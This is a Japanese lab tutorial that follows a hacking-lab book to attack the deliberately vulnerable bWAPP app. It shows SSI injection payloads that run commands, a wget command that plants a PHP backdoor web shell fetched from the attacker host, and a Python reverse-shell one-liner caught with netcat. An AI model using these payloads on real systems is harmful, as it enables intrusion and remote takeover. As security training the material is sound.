Kali Linux2022.1 でハッキングラボをつくってみる10 ウェブアプリハッキング4 SSIインジェクションによるwebシェル設置

# はじめに
「ハッキング・ラボのつくりかた」p.631-640を参考にして、KaliLinux2022.1で検証した記事となります。

:::note alert
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
:::

# SSIインジェクション
SSI(server-side Includes)によるHTML生成に干渉する攻撃。
## 検証
"http:/\/192.168.56.60/bWAPP/portal.php"にアクセスして、プルダウンメニューから、「Server-Side Includes(SSI) Injection」を選択する。
選択すると、"http:/\/192.168.56.60/bWAPP/ssii.php"に遷移する。
**SSI injection**
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_30_05_2022_16_26_07_SSI1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/baa5f859-1b1f-1911-947e-e84915ae3319.png)

適当に123,123と入力してみた結果は、以下の通り。
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_30_05_2022_16_26_41_SSI2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/2feb0e57-61fb-abab-695b-17a4a8875510.png)
出力の１行目は、"Hello, 変数:First name, 変数:Last name"となっている。また、英字を入れると、頭文字が大文字に変換された。

次は、同書に従って、次のような入力を与えた。
First name: \<!--#exec cmd="hostname"-->
Last name: \<!--#exec cmd="pwd"-->
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_30_05_2022_16_44_49_SSI3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/4ae6aab4-8d52-dff9-99f5-45708dba135f.png)
\<!--#exec cmd="コマンド"-->という形でコマンドが実行できた。

## リバースシェルを外部からダウンロードできるようにする
KaliLinuxには、Webシェルが保存されている。これを、bee-boxに配置してバックドアにする。
PHPで欠かれたwebシェルを外部からダウンロードできるようにする。
```
sudo cp /usr/share/webshells/php/php-backdoor.php /var/www/html/
cd /var/www/html/
cp php-backdoor.php php-backdoor.php.txt
sudo systemctl restart apache2
```

## Webシェルの転送
"http:/\/192.168.56.60/bWAPP/ssii.php"に戻って、次のように入力してみる。
First name: \<!--#exec cmd="wget http:/\/192.168.56.2/php-backdoor.php.txt -O /var/www/bWAPP/web_shell.php"-->
Last name: test
192.168.56.2はKaliLinux,192.168.56.60はbee-boxのIPアドレスを示す。
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_30_05_2022_17_35_03_SSIwebshell1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/60f5b83c-d5ca-90bc-53cb-3a10b49ce5a0.png)
次のような結果となった。testが１行目に表示されるが、First nameに入力したコマンドの結果は、**表面上は**わからない。コマンドが正常に完了しているなら、"/var/www/bWAPP/"に"web_shell.php"を保存しているので、"http:/\/192.168.56.60/bWAPP/web_shell.php"にアクセスできる。
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_30_05_2022_17_45_03_SSIwebshell2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/98f5cc0f-e5d7-846e-44c3-6c6e71ed9f6e.png)

## リバースシェルの実行
Webシェル(web_shell.php)を通じて、ファイルのアップデートやダウンロードやwebシェルの権限で任意のコマンドを実行できる。（cdコマンドでのディレクトリ移動は不可)しかし、コマンドの結果が遷移した先のwebページで表示されるので、コマンド入力と戻りを繰り返すことになって煩雑である。そこで、bee-box上でリバースシェルを起動させる。
kaliLinuxの端末で、次のコマンドを実行する。
```
nc -nlvp 4444
```
netcatで、リバースシェルを受け付ける。
その状態で、web_shell.phpの「execute command:」の入力フォームに、次のコマンドを実行する。
```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.2",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```
実行結果はこうなる。
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_30_05_2022_22_48_00_SSIbindshell3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/5d4322d0-2c18-8151-d804-97c9e454cd30.png)
任意のコマンドを実行できる。

## ttyシェルの奪取
うまく行かなかったので、省略しました。
ゆえに、tabキーを押下しても、補完はされない状態です。

# おわり
参考にしたもの
「ハッキング・ラボのつくりかた」

https://securitychecklist.net/security/cyber-attack/SSL-injection.html